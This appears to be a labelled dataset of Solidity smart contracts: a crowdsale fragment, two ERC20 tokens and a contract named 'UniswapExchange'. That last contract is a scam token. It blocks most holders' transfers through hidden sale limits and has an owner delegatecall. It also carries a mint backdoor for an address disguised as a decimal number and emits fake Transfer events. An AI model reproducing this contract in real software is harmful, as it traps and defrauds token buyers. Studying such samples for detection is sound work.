if (TDEContributorInitialBonusByAddress[msg.sender] == 0) {
TDEContributorInitialBonusByAddress[msg.sender] = rangeETHAmount;
TDEContributorAddresses[TDEContributorCount] = msg.sender;
TDEContributorCount++;
}
}
if (TDEContributorInitialBonusByAddress[msg.sender] == tdeFundsRaisedInWei) {
tokensIssuedForBonusRangeFour = tokensIssuedForBonusRangeFour.add(tokenCount);
}
else if (TDEContributorInitialBonusByAddress[msg.sender] == rangeETHAmount.mul(3)) {
tokensIssuedForBonusRangeThree = tokensIssuedForBonusRangeThree.add(tokenCount);
}
else if (TDEContributorInitialBonusByAddress[msg.sender] == rangeETHAmount.mul(2)) {
tokensIssuedForBonusRangeTwo = tokensIssuedForBonusRangeTwo.add(tokenCount);
}
else if (TDEContributorInitialBonusByAddress[msg.sender] == rangeETHAmount) {
tokensIssuedForBonusRangeOne = tokensIssuedForBonusRangeOne.add(tokenCount);
}
uint256 tokensDistributedPlusBonuses = getTokensDistributedPlusTrickleDownBonuses();
if (tokensDistributedPlusBonuses > dnnToken.TDESupplyRemaining()) {
revert();
}
tokensDistributed = tokensDistributed.add(tokenCount);
ETHContributions[msg.sender] = ETHContributions[msg.sender].add(msg.value);
ETHContributorTokens[msg.sender] = ETHContributorTokens[msg.sender].add(tokenCount);
fundsRaisedInWei = fundsRaisedInWei.add(msg.value);
tdeFundsRaisedInWei = tdeFundsRaisedInWei.add(msg.value);
DNNToken.DNNSupplyAllocations allocationType = DNNToken.DNNSupplyAllocations.TDESupplyAllocation;
if (!dnnToken.issueTokens(msg.sender, tokenCount, allocationType)) {
revert();
}
dnnHoldingMultisig.transfer(msg.value);
return true;
}
function buyPRETDETokensWithoutETH(address beneficiary, uint256 weiamount, uint256 tokenCount)
onlyCofounders
IsNotAwaitingPRETDETokens(beneficiary)
returns (bool)
{
ETHContributorTokens[beneficiary] = ETHContributorTokens[beneficiary].add(tokenCount);
ETHContributions[beneficiary] = ETHContributions[beneficiary].add(weiamount);
fundsRaisedInWei = fundsRaisedInWei.add(weiamount);
presaleFundsRaisedInWei = presaleFundsRaisedInWei.add(weiamount);
PRETDEContributorTokensPendingRelease[beneficiary] = PRETDEContributorTokensPendingRelease[beneficiary].add(tokenCount);
PRETDEContributorsTokensPendingCount += 1;
return issuePRETDETokens(beneficiary);
}
function buyTDETokensWithoutETH(address beneficiary, uint256 weiamount, uint256 tokenCount)
onlyCofounders
returns (bool)
{
uint256 tokensDistributedPlusBonuses = tokenCount.add(getTokensDistributedPlusTrickleDownBonuses());
if (tokensDistributedPlusBonuses > dnnToken.TDESupplyRemaining()) {
revert();
}
ETHContributorTokens[beneficiary] = ETHContributorTokens[beneficiary].add(tokenCount);
ETHContributions[beneficiary] = ETHContributions[beneficiary].add(weiamount);
fundsRaisedInWei = fundsRaisedInWei.add(weiamount);
tdeFundsRaisedInWei = tdeFundsRaisedInWei.add(weiamount);
return issueTDETokens(beneficiary, tokenCount);
}
function issueTDETokens(address beneficiary, uint256 tokenCount)
internal
returns (bool)
{
tokensDistributed = tokensDistributed.add(tokenCount);
DNNToken.DNNSupplyAllocations allocationType = DNNToken.DNNSupplyAllocations.TDESupplyAllocation;
if (!dnnToken.issueTokens(beneficiary, tokenCount, allocationType)) {
revert();
}
return true;
}
function issuePRETDETokens(address beneficiary)
onlyCofounders
PRETDEContributorsAwaitingTokens
HasPendingPRETDETokens(beneficiary)
returns (bool)
{
uint256 tokenCount = PRETDEContributorTokensPendingRelease[beneficiary];
tokensDistributed = tokensDistributed.add(tokenCount);
DNNToken.DNNSupplyAllocations allocationType = DNNToken.DNNSupplyAllocations.PRETDESupplyAllocation;
if (!dnnToken.issueTokens(beneficiary, tokenCount, allocationType)) {
revert();
}
PRETDEContributorsTokensPendingCount -= 1;
PRETDEContributorTokensPendingRelease[beneficiary] = 0;
return true;
}
function releaseTrickleDownBonuses()
onlyCofounders
{
if (trickleDownBonusesReleased == false) {
DNNToken.DNNSupplyAllocations allocationType = DNNToken.DNNSupplyAllocations.TDESupplyAllocation;
address contributorAddress;
uint256 bonusTokens;
for (uint256 iteration=0; iteration < TDEContributorCount; iteration++) {
bonusTokens = 0;
if (tdeFundsRaisedInWei > rangeETHAmount && tdeFundsRaisedInWei <= rangeETHAmount.mul(2)) {
contributorAddress = TDEContributorAddresses[iteration];
if (TDEContributorInitialBonusByAddress[contributorAddress] == rangeETHAmount) {
bonusTokens = ETHContributorTokens[contributorAddress].mul(130).div(100).sub(ETHContributorTokens[contributorAddress]);
}
if (bonusTokens > 0 && !dnnToken.issueTokens(contributorAddress, bonusTokens, allocationType)) {
revert();
}
}
else if (tdeFundsRaisedInWei > rangeETHAmount.mul(2) && tdeFundsRaisedInWei <= rangeETHAmount.mul(3)) {
contributorAddress = TDEContributorAddresses[iteration];
if (TDEContributorInitialBonusByAddress[contributorAddress] == rangeETHAmount) {
bonusTokens = ETHContributorTokens[contributorAddress].mul(170).div(100).sub(ETHContributorTokens[contributorAddress]);
}
else if (TDEContributorInitialBonusByAddress[contributorAddress] == rangeETHAmount.mul(2)) {
bonusTokens = ETHContributorTokens[contributorAddress].mul(140).div(100).sub(ETHContributorTokens[contributorAddress]);
}
if (bonusTokens > 0 && !dnnToken.issueTokens(contributorAddress, bonusTokens, allocationType)) {
revert();
}
}
else if (tdeFundsRaisedInWei > rangeETHAmount.mul(3)) {
contributorAddress = TDEContributorAddresses[iteration];
if (TDEContributorInitialBonusByAddress[contributorAddress] == rangeETHAmount) {
bonusTokens = ETHContributorTokens[contributorAddress].mul(220).div(100).sub(ETHContributorTokens[contributorAddress]);
}
else if (TDEContributorInitialBonusByAddress[contributorAddress] == rangeETHAmount.mul(2)) {
bonusTokens = ETHContributorTokens[contributorAddress].mul(190).div(100).sub(ETHContributorTokens[contributorAddress]);
}
else if (TDEContributorInitialBonusByAddress[contributorAddress] == rangeETHAmount.mul(3)) {
bonusTokens = ETHContributorTokens[contributorAddress].mul(150).div(100).sub(ETHContributorTokens[contributorAddress]);
}
if (bonusTokens > 0 && !dnnToken.issueTokens(contributorAddress, bonusTokens, allocationType)) {
revert();
}
}
}
trickleDownBonusesReleased = true;
}
}
function finalizeTDE()
onlyCofounders
TDEHasEnded
{
require(dnnToken.tokensLocked() == true && dnnToken.PRETDESupplyRemaining() == 0);
releaseTrickleDownBonuses();
dnnToken.unlockTokens();
tokensDistributed += dnnToken.TDESupplyRemaining();
dnnToken.sendUnsoldTDETokensToPlatform();
}
function finalizePRETDE()
onlyCofounders
NoPRETDEContributorsAwaitingTokens
{
require(dnnToken.PRETDESupplyRemaining() > 0);
dnnToken.sendUnsoldPRETDETokensToTDE();
}
function DNNTDE()
{
uint256 hardCap = 35000;
dnnToken = DNNToken(0x9D9832d1beb29CC949d75D61415FD00279f84Dc2);
cofounderA = 0x3Cf26a9FE33C219dB87c2e50572e50803eFb2981;
cofounderB = 0x9FFE2aD5D76954C7C25be0cEE30795279c4Cab9f;
dnnHoldingMultisig = 0x5980a47514a0Af79a8d2F6276f8673a006ec9929;
maximumFundingGoalInETH = hardCap * 1 ether;
rangeETHAmount = hardCap.div(bonusRangeCount) * 1 ether;
TDEStartDate = 1529020801;
TDEEndDate = (TDEStartDate + 35 days);
}
function () payable {
if (now < TDEStartDate && msg.value >= minimumPRETDEContributionInWei && PRETDEContributorTokensPendingRelease[msg.sender] == 0) {
ETHContributions[msg.sender] = ETHContributions[msg.sender].add(msg.value);
fundsRaisedInWei = fundsRaisedInWei.add(msg.value);
presaleFundsRaisedInWei = presaleFundsRaisedInWei.add(msg.value);
PRETDEContributorTokensPendingRelease[msg.sender] = PRETDEContributorTokensPendingRelease[msg.sender].add(calculateTokens(msg.value, now));
TokensPurchasedDuringPRETDE += calculateTokens(msg.value, now);
PRETDEContributorsTokensPendingCount += 1;
if (TokensPurchasedDuringPRETDE > dnnToken.TDESupplyRemaining()+dnnToken.PRETDESupplyRemaining()) {
revert();
}
dnnHoldingMultisig.transfer(msg.value);
}
else if (now >= TDEStartDate && now < TDEEndDate) buyTokens();
else revert();
}
} | 0 | 919 |
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract LCH is PausableToken {
string public constant name = "Li Cheng Cash";
string public constant symbol = "LCH";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 20180722 * (10 ** uint256(decimals));
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
} | 1 | 2,595 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "CPollo";
string public constant TOKEN_SYMBOL = "CPLO";
bool public constant PAUSED = true;
address public constant TARGET_USER = 0x3374EB92854FF40c1E74a8FE2114d99b38214070;
uint public constant START_TIME = 1534737600;
bool public constant CONTINUE_MINTING = false;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
} | 1 | 4,324 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,063 |
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
